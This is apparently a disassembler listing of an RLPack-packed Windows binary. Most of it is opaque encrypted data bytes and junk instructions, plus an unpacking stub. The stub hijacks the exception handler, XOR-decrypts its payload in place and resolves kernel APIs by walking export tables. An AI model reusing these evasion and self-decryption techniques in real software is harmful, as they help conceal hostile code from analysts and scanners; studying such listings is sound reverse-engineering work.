dd 1C0083A6h, 0B64AC187h, 0EBD397Ah, 6857243Bh, 0CA2A4340h
dd 0EA009975h, 6D732E50h, 497458h, 5E687BCCh, 0F6DF35D6h
dd 910D2800h, 7F58454Fh, 75FB2FB9h, 990099DCh, 0FDCBAC48h
dd 707460h, 7E416FB8h, 33DA270Ch, 155BB000h, 7312994h
dd 385901A6h, 0CFBA823Ah, 0C648E4E7h, 884D0200h, 0F1B8B110h
dd 35150BF6h, 0CB008FF0h, 0F37B6CFBh, 6A004F5Bh, 0DA717902h
dd 492000F1h, 7A14B684h, 0C000F7CAh, 1E2EF6AAh, 0F89674DBh
dd 0FD6C3B52h, 0D0D22B00h, 0BCD5F3EDh, 0AD0F40E6h, 0EF75BF4Fh
dd 0BA005771h, 32E82C1Ah, 0D3D0FE4h, 0BD2069D4h, 0ED23B8DDh
dd 46B95703h, 0C0353F52h, 0EFEE0C0h, 3CE65BC7h, 8302DF60h
dd 500ED9C8h, 1CD25E3h, 427D4E2Fh, 45A7E8h, 33875190h
dd 99E523A6h, 0BBF48100h, 6AC06491h, 96EECEh, 3265DB8Eh
dd 0C90DEB07h, 0CA4B7E00h, 5472853Eh, 3C0A00C1h, 0AC32E221h
dd 0E4002830h, 0E0DE570Dh, 72ECF29h, 0F3E661C9h, 7BF770BBh
dd 0ED3D4679h, 92300052h, 0B80234F1h, 0A7B41C87h, 0AEEE64h
dd 2E6E91F7h, 7A00E1BEh, 5C8E92C1h, 1356FBA9h, 0A4554Ch
dd 719D1B80h, 0E80E5F1Fh, 0C046F5B2h, 0D6E5075Bh, 33510047h
dd 0B627CF64h, 2D0F5A3Bh, 374A4661h, 0C0751EFFh, 9E93554Fh
dd 6F724C10h, 3BFF1500h, 0E1731DFDh, 0FA7B0053h, 0A118B86Dh
dd 0C30076F7h, 0BEFB08CFh, 78C13C2Bh, 6DB00033h, 58359E2Fh
dd 0AF3C0A88h, 0C6478BB6h, 0E0D78E32h, 515345DCh, 9A3B006Fh
dd 4C937440h, 681FCFB2h, 1DC0770Dh, 446A855Ah, 0F70FE3Ah
dd 0F23FC8A4h, 0DD313960h
dd 0B27B53C0h, 0D29F5700h, 0A78BEE35h, 0FB930AC4h, 859297h
dd 40ED5FDh, 0D300EBE7h, 27688759h, 7C9B45h, 703FC9Fh
dd 0F0082854h, 58200A1Dh, 6378F580h, 3569B0Dh, 8291A46Bh
dd 24E0E0A9h, 0D70195DDh, 297A080Ah, 99F1D9CBh, 1EC2EDE0h
dd 8034B07Dh, 8A42FF66h, 0A000DBF9h, 0C6B32D27h, 38681E9Ch
dd 4A00DA99h, 92941C36h, 260048E9h, 555FA73h, 0E4B0667Bh
dd 7E3707EAh, 616D2C89h, 0D4124ABBh, 953EDCEBh, 853680A5h
db 0F2h
; ---------------------------------------------------------------------------
loc_4FD1D9: ; CODE XREF: .RLPack:004FD254j
std
not dword ptr ds:0BF3F009Dh
cmc
mov eax, 4A8E2AB7h
add [eax], ebp
wait
; ---------------------------------------------------------------------------
db 0FFh, 0EEh, 0F8h
dd 97C2813Bh, 0C0F601h, 0
dd 0E0447034h, 86B625Eh, 8C0F861Eh, 80F511C0h, 1706160h
dd 255F01Ch, 20F10129h, 8530EC1h, 5C0334FFh, 6A107418h
dd 0E2ADB001h, 9952E103h, 0A32A0004h, 320051F2h, 0EF3196F8h
dd 3D8A6C7h, 0AD2883E2h, 0C4B88E7Eh, 6A106F9Ah, 800CFDAh
dd 0E90148E1h, 700F730h
db 0Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jb short loc_4FD1D9
jnz short $+2
xor al, 3Ch
inc ebp
or [ecx], bh
dec eax
stc
cmp [esi], bl
db 65h, 67h
lock sbb al, 0F8h
add [ebx], dh
rol byte ptr [edx+53h], cl
pop es
push esi
add [ebx+41570C70h], cl ; CODE XREF: .RLPack:004FD2A1j
fcmovbe st, st(3)
jecxz short $+2
sahf
xor [eax+edi*8], al
jge short loc_4FD2F6
cli
add [eax], eax ; CODE XREF: .RLPack:004FD291j
out 89h, eax ; DMA page register 74LS612:
; Channel 6 (address bits 17-23)
inc ebp
aam 3
enter 0FFFFC3B8h, 3Fh
cmpsb
push 4B3FE080h
dec edi
push es
jnz short near ptr loc_4FD27E+1
add ds:0C61C8136h, al
inc ebp
or edi, [esi]
add ebx, [edi]
pop ebp
ror dh, 1
jge short near ptr loc_4FD26D+2
rcl byte ptr [ebp-18h], 1
push es
add [eax-20h], al
in al, 80h ; manufacture's diagnostic checkpoint
fdiv qword ptr [edx+esi+0Bh]
add [ebx-1CF1FBA9h], cl
; ---------------------------------------------------------------------------
dw 0F3FEh
dd 0BA3700ABh, 63EAC0Ch, 8400056Ah, 0C807FC79h, 8B59FFh
dd 55607E75h, 36B60F0Ch, 0E2C10300h, 0FFD60B08h, 492A0037h
dd 0E975F064h, 3B004D39h, 33807718h, 5E5FC0h, 0F5C2C95Bh
; ---------------------------------------------------------------------------
mov bl, 72h
loc_4FD2F6: ; CODE XREF: .RLPack:004FD27Bj
test al, 23h
add [ebx-7B24E10h], bl
adc byte ptr [esi-14h], 0
shl ecx, 4
add ecx, ebx
loc_4FD307: ; CODE XREF: .RLPack:004FD31Fj
push esp
cmp eax, 60100B2h
lea edi, [edx+ecx*4]
jnb short loc_4FD329
and al, 1
enter 4D80h, 9Bh
adc dh, [eax]
cmp bl, al
retf 0BAh
; ---------------------------------------------------------------------------
loopne loc_4FD307
xchg ecx, [ecx+0F8B3922h]
add [esi], bh
loc_4FD329: ; CODE XREF: .RLPack:004FD310j
lock popf
out dx, al
or eax, [ebx+75F6F1AFh]
cmp ecx, [esp+edi]
cmp byte ptr [edi+1], 0FDh
mov byte ptr [eax-42h], 0A8h
aas
out dx, al
sub eax, [eax+30530C7h]
push ebx
mov [edi], esi
add [eax], ch
push 0AA819975h
and ecx, esp
push eax
lock or dword ptr [eax], 0
pop ecx
sub cl, [ebp-2Ch]
push es
jmp near ptr 9650C233h
; ---------------------------------------------------------------------------
dd 0ADC46EFh, 0E642EC03h, 0F66904F7h, 80A71485h, 7F87D2Bh
dd 0E8C8D00h, 161C6CD8h, 7A081DACh, 0F39FC00Fh, 2B7CF040h
dd 0B9E85000h, 0C84C614h, 1C2C0031h, 0F665D1F4h, 0E030690h
dd 0E7810875h, 9C30D81Ah, 0CE170F0Ch, 4808E6Eh, 0A648D845h
dd 2A115D30h, 0ECE6C11Bh, 0C878F3h, 73F10910h, 67A25E1Fh
dd 50D8CE00h, 89FF85D2h, 0F31003Ah, 0EBA782B0h, 0C2002919h
dd 8BC62B48h, 0ED1D8Eh, 0A08030CEh, 8D0E89D8h, 5125400h
dd 81677401h, 781000FAh, 0FF73189Dh, 6106EB02h, 7AC980A6h
dd 911F009Ch, 36C47548h, 9F0CE22h, 15147300h, 0EBF0311Bh
dd 6E4E3C12h, 690F8980h, 7C196742h, 0BEA89F3Fh, 92761C03h
dd 40E1D40h, 3B0B5588h, 53801E7Fh, 0E92B2009h, 9100059Ah
dd 1F0A9932h, 0E403FD6Dh, 9E09008Bh, 82510612h, 0D1F2A160h
dd 0C9EAC100h, 0C52DCA9Ch, 0A60D00B4h, 13D4B0AAh, 8A00948Dh
dd 0AC6E4824h, 1440A23h, 0DD997943h, 0D4E46A07h, 0C3CDC4Eh
dd 249800E0h, 10321B78h, 67D03D9h, 14EB9148h, 8845C7F0h
dd 4B35301h, 0C8C181ECh, 0E9D0F8h, 69C354F3h, 0A8818DBh
dd 35C9B00h, 308ABC8Dh, 565F0149h, 0C3A2D0E8h, 39B28022h
dd 0AB83B468h, 0B2790ED5h, 0E5E0F8E1h, 44A1350Fh, 0CC094200h
dd 31A68AECh, 808B0029h, 8E348DC2h, 0D2001973h, 1AE35BA1h
dd 1258B746h, 1F215543h, 2A47C0F9h, 0A453BA44h, 3752C00h
dd 8660E0A2h, 167189h, 2151840Fh, 2414553Fh, 52337B03h
dd 0F001F4C9h, 1F8DC19Dh, 43C7094Ch, 2A8E9B7Eh, 0C8AD097h
dd 0F2008811h, 16868D1Dh, 5B13E9h, 2B982962h, 90714EC2h
dd 9F38283Eh, 92C056E0h, 0F2142564h, 60A20082h, 0CA15C41Dh
dd 780194A7h, 7AEB3209h, 0BAD45437h, 0E43D3890h, 0D3174880h
dd 0E755B124h, 5EDC9700h, 6F626E59h, 6B6501F7h, 0B31A0414h
dd 0FD2E3049h, 0BB2EF00h, 0F8A81D46h, 1D147ED0h, 0E84A095h
dd 0E481C86Eh, 0D0110855h, 94C022F2h, 0A9709FDh, 70ACE8E3h
dd 0B6D0031h, 98FF3308h, 0E9ECEB4Eh, 99817006h, 384445h
dd 5A1131D6h, 43BF9460h, 26886100h, 4712E5Ch, 0C433032Fh
dd 8C285802h, 0EB1465F8h, 0E3621E01h, 0C9844089h, 41915483h
dd 5FD07910h, 730BD2BCh, 5FB5D54h, 0C4002244h, 0CEFDE351h
dd 14A200E0h, 1186AD91h, 4302E619h, 8906C9B2h, 1C4D4034h
dd 0B5D100F3h, 17A4DB7Ch, 0B100142Eh, 0E336020Ah, 0E8FF4832h
dd 95FA0096h, 17505EEAh, 0D3003EC0h, 1FE2BE6h, 0B1FBB8h
dd 15222C08h, 0B07A856Eh, 7676F13h, 6DEE5A00h, 0D84605h
dd 6A7203EBh, 28FD5978h, 8C58B201h, 0C0399C06h, 138B3ED0h
dd 79B5BBh, 24A711B4h, 120EDB93h, 0C02EA1D0h, 6916919Eh
dd 151C03B5h, 0A22468D6h, 75089D80h, 0EA0083EAh, 0FA484073h
dd 1DA0670h, 0D1D28C0Fh, 0D03FCAF0h, 0E35893F9h, 0CB130021h
dd 0E612C02h, 7DD81DBEh, 1FC7DD0Fh, 70A000B0h, 0A40BC8Fh
dd 4309EB00h, 3F04E983h, 0D101033Bh, 39DB03E8h, 672B8F0h
dd 0A002977h, 7596028Eh, 58F8DD0h, 854CEA88h, 0D1A781B8h
dd 1A7C30D8h, 0B4473300h, 0E87D9908h, 0F1840027h, 8126B914h
dd 0F21E1588h, 5109DA07h, 9C080FFh, 0E97260h, 25D1D5A1h
dd 0BE10266h, 4E34B00h, 3F7C8D6Eh, 9E870001h, 9C7D10A9h
dd 89006B43h, 0E0110326h, 0ECB0ECF8h, 71900EF0h, 3B40F402h
dd 423577DEh, 1CC00D00h, 0CB062BCEh, 8ACF0003h, 0F43E4A11h
dd 46E88988h, 92E413Bh, 8F9E8312h, 574E0FAh, 18A33Bh, 0A075E572h
dd 0FFA3973h, 0AE823107h, 87A2E977h, 40F4C00Bh, 119A0286h
dd 1044F796h, 5075D0C0h, 46B40817h, 9957B700h, 59096Ah
dd 5EAF9F7h, 68F85F78h, 9610E000h, 0C0B60A5Ah, 990C1E93h
dd 0FB7DC0F7h, 9CF0E743h, 86E48500h, 0F44F0AA4h, 0FE2CE029h
dd 12E55890h, 0C06A501Ch, 94C357FFh, 381C1C1Eh, 7E808DFCh
dd 0CAA0537Dh, 6CC60083h, 0F01AAE09h, 6E00E8FAh, 9A397EA1h
dd 54B0680h, 50021EA3h, 8B5BC00Ch, 0DD0F70C3h, 608248ABh
dd 40E0585Ah, 330400A8h, 2018DAE1h, 70740114h, 57900EE4h
dd 0E3100807h, 0E860F2ADh, 1FB93584h, 0E029295h, 89200528h
dd 244BAFA4h, 0A0637001h, 0A94A238h, 985EA870h, 0EE2AF4B2h
dd 910D03D0h, 838420E3h, 561C1888h, 4C0F777Dh, 74AE11Dh
dd 4370108Ah, 11B8960h, 0D0E2AD70h, 80883DFDh, 67525030h
dd 1834078h, 3813571Dh, 0E801F968h, 707BE802h, 0DC618E00h
dd 56575309h, 0A47071h, 0ED815D0Dh, 8C134C30h, 43B58D0Fh
dd 468B81C0h, 1DD883FCh, 0F02B0004h, 0A4DEBDBCh, 90B3756h
dd 0F801C76h, 1F2F606Fh, 0AD32C5h, 900220ABh, 48137B83h
dd 26E425B8h, 85447300h, 0B90EDCF6h, 83230569h, 7BA7A3h
dd 0A4F3FAB4h, 2200CFEFh, 1391B58h, 6F1A2Fh, 61630604h
dd 851EFFF9h, 0E8511C00h, 90F24A46h, 8B600001h, 31892C4Eh
dd 4B002B8Dh, 0C723406Ah, 7B5124h, 2137958Ch, 27853089h
dd 0C10D58h, 0C4BF92F6h, 7D1DBD72h, 0FC00003h, 0C164949Bh
dd 59004028h, 0E552550Ch, 19E90h, 85349AC2h, 897761C9h
dd 0EC004976h, 46C45108h, 180647h, 0A7B746Eh, 1AAA958Bh
dd 9E8DCD38h, 44000DAEh, 3A228A75h, 2DEB000Ch, 8057C1F7h
dd 1300747Ch, 0C0E18152h, 517F97h, 785338Dh, 0E115031h
dd 401F3F00h, 26A14C89h, 521001Dh, 71C8ED60h, 52006741h
dd 54D8D23Fh, 10D96D0h, 85106A31h, 201C44ABh, 407B48DAh
dd 8AEB0816h, 1237DF02h, 757FC0DEh, 81430405h, 80404B36h
dd 0F702036Eh, 0E906C600h, 3EC3C183h, 4289009Ah, 0C225880Bh
dd 0B34C02D2h, 0D694006Eh, 3769577Ch, 90140019h, 990FB548h
dd 0DA003BA6h, 30C4620h, 95D05C7h, 0C35B5F5Eh, 49C48D80h
dd 381EBBFCh, 0DC344E8h, 0E806EB81h, 60E0073Fh, 51CB8A30h
dd 9300FF24h, 0E92A49A9h, 46A2CBAh, 39C37E14h, 4D0EC0D3h
dd 201073Bh, 0EE521674h, 50FC49BFh, 93E22890h, 0AB450080h
dd 4C2835Ah, 0E400EB2Ch, 6AC3007h, 1FCDC575h, 801EC9AFh
dd 0F4017A83h, 44F6D051h, 0B866C100h, 9E105D08h, 0BDAD0024h
dd 0C2030787h, 0A9A089E0h, 996BA6F4h, 56B500E8h, 0E2E821h
dd 8E1A165Ch, 81C9493Eh, 743C5800h, 240B620Ah, 66304CFEh
dd 9C07EB00h, 5501892Eh, 0B70FF800h, 62A91046h, 751D0EAAh
dd 0FBE0E57Dh, 84428732h, 6C7AAD00h, 0C7FC9260h, 125E0340h
dd 750336C0h, 0CF3B4000h, 625347Dh, 60B0FA46h, 0FC1E5CD0h
dd 0D3FEE82Ch, 0FEA07400h, 75D78AC8h, 2A1C0063h, 0DB0C23Ah
dd 3900C166h, 0C08408E8h, 0C48610h, 1061ED1h, 0C61C807Ch
dd 73FD041Ch, 0C8EB41C5h, 0BE90C9C0h, 74140046h, 2A3B3537h
dd 8A003055h, 16F711ABh, 0C21F4Ch, 0F0FD78E9h, 5117355Ah
dd 39098E0Eh, 833400F8h, 6602ECh, 122E76FEh, 0A708D652h
dd 590018F0h, 0B0491C8Eh, 574D3Fh, 42B347E6h, 1741B1E5h
dd 0BEDF1F03h, 0D05027A6h, 0ECD0ADEh, 642CED43h, 264D7480h
dd 5E0073E0h, 4B287D18h, 0F8B208h, 0F90BC171h, 3A5F302h
dd 0E1832D00h, 7BFF91EDh, 16430004h, 52A43DFAh, 1900D1A8h
dd 0CA42AB7Ch, 35AAA12h, 683B7BD3h, 0D2903D32h, 0C32EA604h
dd 6A1C6005h, 54E32180h, 17039C8Ah, 2479Ah, 5251F01Fh
dd 91008D56h, 458A46CAh, 8942D6h, 7DBF98BBh, 0D426B8ECh
dd 1E486E00h
dd 3614C82Bh, 5EA803B2h, 0C47C2099h, 0B1030490h, 0BB465D00h
dd 0E4862D0h, 0C95233F4h, 7298F5E0h, 8B0019A8h, 0BF51C72Fh
dd 7306671Eh, 0E1D000ECh, 0C67440C8h, 7704B54Bh, 29125146h
dd 7F36C180h, 0BBED3B8Fh, 0CAEB0980h, 901BAC5Ah, 3B3EFA00h
dd 0E75307Dh, 211FCF9h, 9FCCDAA3h, 0F4400640h, 0AA070FFFh
dd 0C731090h, 2BEF002Bh, 499CD4h, 0CEE35EB8h, 0B45DA4Eh
dd 1C40AB2Eh, 5D922D0Eh, 0F6CBCF80h, 77F018Dh, 0D0529B2Ch
dd 4C82E076h, 51095C39h, 6D4B6h, 8032434h, 0E9895C3Eh
dd 0C4E3F7Dh, 7ECED009h, 0FF677F80h, 0A0007B21h, 53515750h
dd 1FE827h, 1B042DA9h, 0DF888D48h, 680843Dh, 9CC5EB14h
dd 6D73B0h, 0D6E56276h, 0C7C2E465h, 45201A00h, 9683890Ch
dd 0D0B600B1h, 1CAE4210h, 440F46F6h, 0A0EF938Bh, 73AF384Eh
dd 83D20258h, 5922A79Fh, 30E131C0h, 0EB3ACDFEh, 126307A1h
dd 0D0703B10h, 0CE65C9h, 55B1017Dh, 0E9D28514h, 0D6F50200h
dd 0D8AF6D9h, 64C75CF2h, 7E3E0076h, 4474B8C2h, 7F039152h
dd 842538A9h, 23E49809h, 0EBE0006Ah, 0F4050E5Ah, 0D30A4103h
dd 95CF66D6h, 0B38C4000h, 1F2249h, 86685A69h, 0B04D6F6Ch
dd 2E4B900h, 0BB2C5496h, 0ACEB038Ah, 569C239Dh, 0FC4484F0h
dd 7B6F5500h, 62AF35Ch, 0F12B0030h, 0E8D2D089h, 1C011290h
dd 0C484D3Bh, 13300A66h, 0FA3600F3h, 27FC6B61h, 2A004B6Dh
dd 1C20111Ah, 3BB6055Eh, 0B9803C40h, 38D1448h, 1800017Ch
dd 0D027C783h, 5E9C1CFh, 0E17360B0h, 76928032h, 4B00DB50h
dd 0FB3A8225h, 98A011Eh, 0F641A807h, 88D1F480h, 440059E1h
dd 1EE7501Dh, 3A58EE5h, 85C86542h, 9AB80DACh, 2203177Ah
dd 0CCAA790h, 0B033AB25h, 0F5CAFFAh, 4A69CF42h, 0B2017BA0h
dd 8000B88Dh, 78AB2DA3h, 15568Bh, 0A6178934h, 0BB4832BDh
dd 7041C702h, 0E1696C10h, 7C4745Eh, 206E006Fh, 0DC1E7265h
dd 121E53F8h, 1787F79Dh, 2EF0FF75h, 1685403h, 3C8CEF65h
dd 0F464EC63h, 14001BDBh, 0CB357325h, 97E76Ch, 0D474676Eh
dd 0EDBE1E62h, 0FD366100h, 0E364BB69h, 4C440053h, 3584478Eh
dd 2CF682CCh, 6C6E6100h, 0AF33F420h, 242A0038h, 639D2757h
dd 4807362Fh, 9B737528h, 803233E2h, 61F278E3h, 0E670F7Bh
dd 41006F42h, 8F74770Fh, 66E8637Fh, 6B143703h, 886C8E38h
dd 0FA0A453Fh, 50FC69h, 0C14C4DA4h, 68C0B043h, 0E786486Fh
dd 4F80FD64h, 9E2F570h, 0FC4718B1h, 4200D68Fh, 1C9B6CC4h
dd 567C0707h, 0FAD17269h, 7E8034A0h, 6E52638Eh, 761D2A9Ah
dd 9476493h, 95D04882h, 0BF4A3ABh, 0CC6D0138h, 62001289h
dd 3C125089h, 32482500h, 49697A30h, 18D7F9Ch, 0A8119A5h
dd 0C0D8EE01h, 74388B60h, 7C74F424h, 0B2FC2800h, 0A4DB3380h
dd 0E80217B3h, 7335816Dh, 0E5C9F1F6h, 97094564h, 0C5B95BAh
dd 41362309h, 3410B03Eh, 0DDC7194Fh, 3F75F7E0h, 0D4EB3FAAh
dd 2B1D4D31h, 2E22F3CBh, 28EB0F42h, 9334D1ACh, 40C9131Eh
dd 0C148911Ch, 0F5FD08E0h, 3D2D9C2Ch, 0A7D7D18h, 5FC3A80h
dd 0F8830683h, 8C71777Fh, 0C58B9503h, 0A85601B3h, 0F02BF7h
dd 0EB5EA4F3h, 75D2028Eh, 168A0507h, 0C3761246h, 0E84117EAh
dd 8623C6EEh, 0FC1E7EEh, 2BC3F272h, 6899A53h, 0C2611C08h
dd 0D4E0990Ch, 600838BEh, 9640816h, 180BCE0Ch, 2C21CB28h
dd 405F4CE4h, 2245423h, 0FA25B809h, 0E360F04Dh, 10E0129Eh
dd 1418901h, 424548Bh, 170C52D0h, 0E902C6h, 0CA2B05FEh
dd 0FC504A89h, 0B800C3D1h, 12345678h, 0A0058F64h, 0C48353h
dd 51535504h, 8D525657h, 67CF9875h, 5D188F8Bh, 406AE803h
dd 38166568h, 0AE8CC7FFh, 8E4B9E1Fh, 1AFCA03h, 0A35AD087h
dd 383D50F8h, 20438733h, 8B1C203h, 23DF4B89h, 0E331C14h
dd 0C4C20F2h, 50228D66h, 0D1FF0F94h, 9B9E585Ah, 5A255C08h
dd 50DC92F0h, 56891BDBh, 4EB04508h, 0D77BFF14h, 133F851Bh
dd 4B363ED1h, 6BEB5A9Bh, 0C080D420h, 11FF57CEh, 5A03C68Bh
dd 5B595F5Eh, 85E0D35Dh, 80AD012Fh, 0
dd 0E86000h, 8B000000h, 0C483242Ch, 53B58D04h, 8D000003h
dd 2029Dh, 0E8FF3300h, 145h, 74FF0FEBh, 34FF0437h, 83D3FF37h
dd 0C78308C4h, 373C8308h, 8DEB7500h, 53043774h, 68406Ah
dd 68000010h, 48h, 95FF006Ah, 2E8h, 34F8589h, 0FF5B0000h
dd 34FB5h, 0D3FF5600h, 8B08C483h, 34FB5h, 0EBC68B00h, 38804001h
dd 40FA7501h, 0CDE8388Bh, 83000000h, 858904C0h, 34Bh, 93E9h
dd 95FF5600h, 2E0h, 840FC085h, 0AEh, 3478589h, 0C68B0000h
dd 858B5BEBh, 34Bh, 0A9008Bh, 74800000h, 3514h, 8B508000h
dd 34B85h, 2000C700h, 0EB002020h, 4BB5FF06h, 0FF000003h
dd 347B5h, 0E495FF00h, 85000002h, 896B74C0h, 4C78307h
dd 34B858Bh, 1EB0000h, 388040h, 8940FA75h, 34B85h, 78816600h
dd 74800002h, 3880A5h, 1EBA075h, 3E8046h, 4046FA75h, 35E8388Bh
dd 83000000h, 858904C0h, 34Bh, 0F013E80h, 0FFFF6485h, 400068FFh
dd 48680000h, 0FF000000h, 34FB5h, 0EC95FF00h, 0E8000002h
dd 55h, 2EEAE961h, 0C361FFF0h, 858B5350h, 33Fh, 0E74C00Bh
dd 337858Bh, 5C8B0000h, 0F82B3024h, 585BFB03h, 858B60C3h
dd 33Fh, 2374C00Bh, 337858Bh, 5C8B0000h, 11EB4824h, 4374429h
dd 4375C01h, 1370429h, 0C783371Ch, 373C8308h, 61E97500h
dd 0B58B60C3h, 33Fh, 6774F60Bh, 337BD8Bh, 448B0000h, 85894824h
dd 33Bh, 5374C73Bh, 4AEBF003h, 468B168Bh, 43858904h, 1000003h
dd 343B5h, 8C68300h, 0B70F2CEBh, 0C1D88B06h, 0CB8B0CEBh
dd 1000DB69h, 0C32B0000h, 8503C203h, 33Bh, 7503F983h, 8B38290Ah
dd 33B8Dh, 83080100h, 0B53B02C6h, 343h, 3E83CC72h, 61B17500h
dd 748B60C3h, 7C8B2424h, 0B2FC2824h, 0A4DB3380h, 6DE802B3h
dd 73000000h, 0E8C933F6h, 64h, 0C0331C73h, 5BE8h, 0B3237300h
dd 10B04102h, 4FE8h, 73C01200h, 0AA3F75F7h, 4DE8D4EBh
dd 2B000000h, 0E81075CBh, 42h, 0D1AC28EBh, 134D74E8h, 911CEBC9h
dd 8E0C148h, 2CE8ACh, 3D0000h, 7300007Dh, 5FC800Ah, 0F8830673h
dd 4102777Fh, 0C58B9541h, 8B5601B3h, 0F3F02BF7h, 8EEB5EA4h
dd 575D202h, 1246168Ah, 0C933C3D2h, 0FFEEE841h, 0C913FFFFh
dd 0FFFFE7E8h, 0C3F272FFh, 28247C2Bh, 1C247C89h, 0C361h
dd 2 dup(0)
dd 0E2AA0000h, 0E2B7000Fh, 0Fh, 4 dup(0)
dd 656B0000h, 6C656E72h, 642E3233h
db 2 dup(6Ch), 0
dword_4FE2B7 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA db 0A0h
dd 517C80ADh, 0E47C809Ah, 7C809Ah, 0
dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 10000000h
dd 80000h, 0
dd 40h, 3 dup(0)
dd offset dword_4C4C44+303Ch
dd 33h, 20000033h, 1000004Eh, 0D1F80040h, 4Fh, 4Eh, 1C6B0000h
dd 0C16E7265h, 2E32336Ch, 3B7D764h, 4E832001h, 616F4C80h
dd 6269D0F9h, 79E47276h, 470F4170h, 47507465h, 6497636Fh
dd 739CDE1Fh, 69561F78h, 61757443h, 0D158FE6Ch, 468D0D28h
dd 0C87C734h, 0
db 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
pusha
push ebp
mov ebp, esp
call sub_4FE3A1
call sub_4FE409
mov ebp, fs:0
sub ebp, 0FFFFFFF8h
jmp loc_4FE3C6
start endp
; =============== S U B R O U T I N E =======================================
sub_4FE3A1 proc near ; CODE XREF: start+4p
var_8 = dword ptr -8
push dword ptr fs:0
mov fs:0, esp
xor eax, eax
push 8
push eax
push 2000h
push eax
push eax
push eax
push eax
push eax
push eax
call ds:dword_4FE2B7 ; LoadLibraryA
loc_4FE3C6: ; CODE XREF: start+17j
sub edx, edx
sub ecx, ecx
mov cl, 0B5h
loc_4FE3CC: ; CODE XREF: sub_4FE3A1+2Dj
inc edx
dec ecx
jnz short loc_4FE3CC
call sub_4FE406
sub ecx, 0FFFFFFBFh
push ecx
mov ebx, 243Ch
loc_4FE3E1: ; CODE XREF: sub_4FE3A1+4Ej
xchg al, [ecx]
xor ax, dx
xchg al, [ecx]
inc ecx
sub ebx, 1
cmp ebx, 0
jnz short loc_4FE3E1
pop ecx
mov esp, fs:0
pop dword ptr fs:0
leave
mov [esp+20h+var_8], ecx
popa
jmp ecx
sub_4FE3A1 endp
; =============== S U B R O U T I N E =======================================
sub_4FE406 proc near ; CODE XREF: sub_4FE3A1+2Fp
pop ecx
jmp ecx
sub_4FE406 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FE409 proc near ; CODE XREF: start+9p
arg_C = dword ptr 10h
mov ecx, [esp+arg_C]
xor eax, eax
pop dword ptr [ecx+0B8h]
retn
sub_4FE409 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
call $+5
mov eax, [esp]
test dword ptr [eax+242Bh], 80000000h
mov [eax+29ACh], ebx
mov ebx, [esp+4]
jz short loc_4FE462
cld
pop ecx
mov [eax+29B0h], esi
mov [eax+29B4h], edi
cmp byte ptr [eax+242Fh], 0E8h
jnz short loc_4FE459
add ebx, [eax+2430h]
mov ebx, [ebx+2]
push dword ptr [ebx]
jmp short loc_4FE461
; ---------------------------------------------------------------------------
loc_4FE459: ; CODE XREF: .RLPack:004FE44Aj
mov ebx, [eax+2431h]
push dword ptr [ebx]
loc_4FE461: ; CODE XREF: .RLPack:004FE457j
pop ebx
loc_4FE462: ; CODE XREF: .RLPack:004FE433j
push ebp
xchg eax, ebp
sub dword ptr [esp+4], 44Bh
and ebx, 0FFFFF000h
sub ebp, offset loc_401006
mov edi, [esp+4]
lea esi, [ebp+40343Ch]
mov ecx, 0
rep movsb
loc_4FE489: ; CODE XREF: .RLPack:004FE4A5j
cmp dword ptr [ebx+4Eh], 73696854h
jnz short loc_4FE49F
mov eax, [ebx+3Ch]
lea eax, [eax+ebx]
cmp word ptr [eax], 4550h
jz short loc_4FE4A7
loc_4FE49F: ; CODE XREF: .RLPack:004FE490j
sub ebx, 100h
jnz short loc_4FE489
loc_4FE4A7: ; CODE XREF: .RLPack:004FE49Dj
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_4FE4B5: ; CODE XREF: .RLPack:loc_4FE4DCj
lodsd
add eax, ebx
cmp dword ptr [eax-1], 74654700h
jnz short loc_4FE4DC
cmp dword ptr [eax+3], 636F7250h
jnz short loc_4FE4DC
cmp dword ptr [eax+7], 72646441h
jnz short loc_4FE4DC
cmp dword ptr [eax+0Bh], 737365h
jz short loc_4FE4E1
loc_4FE4DC: ; CODE XREF: .RLPack:004FE4BFj
; .RLPack:004FE4C8j ...
loop loc_4FE4B5
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4FE4E1: ; CODE XREF: .RLPack:004FE4DAj
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
call near ptr loc_4FE507+2
inc ebx
insb
outsd
jnb short near ptr loc_4FE565+2
dec eax
popa
outsb
db 64h
insb
loc_4FE507: ; CODE XREF: .RLPack:004FE4F8p
add gs:[ebx-1], dl
setalc
mov dword ptr ss:loc_40353C[ebp], eax
call near ptr loc_4FE523+1
inc ebx
jb short near ptr loc_4FE57E+1
popa
jz short near ptr loc_4FE57E+4
inc ebp
jbe short near ptr loc_4FE584+1
outsb
jz short near ptr loc_4FE562+2
loc_4FE523: ; CODE XREF: .RLPack:004FE512p
add [ebx-1], dl
setalc
mov [ebp+403540h], eax
call sub_4FE53F
inc edi
db 65h
jz short near ptr loc_4FE57E+4
popa
jnb short loc_4FE5AD
inc ebp
jb short near ptr loc_4FE5AD+1
outsd
jb short $+2
; =============== S U B R O U T I N E =======================================
sub_4FE53F proc near ; CODE XREF: .RLPack:004FE52Dp
; FUNCTION CHUNK AT 004FE5E8 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 004FE728 SIZE 0000013A BYTES
push ebx
call esi
mov [ebp+403544h], eax
call sub_4FE5BD
test eax, eax
jz short loc_4FE572
push eax
call dword ptr [ebp+403544h]
test eax, eax
jnz short loc_4FE56C
lea eax, [ebp+4011D2h]
loc_4FE562: ; CODE XREF: .RLPack:004FE521j
mov dl, [eax-1]
loc_4FE565: ; CODE XREF: .RLPack:004FE500j
call sub_4FE5D8
jmp short loc_4FE5E8
; ---------------------------------------------------------------------------
loc_4FE56C: ; CODE XREF: sub_4FE53F+1Bj
; sub_4FE53F+136j ...
call dword ptr ss:loc_40353C[ebp]
loc_4FE572: ; CODE XREF: sub_4FE53F+10j
test dword ptr [ebp+403431h], 80000000h
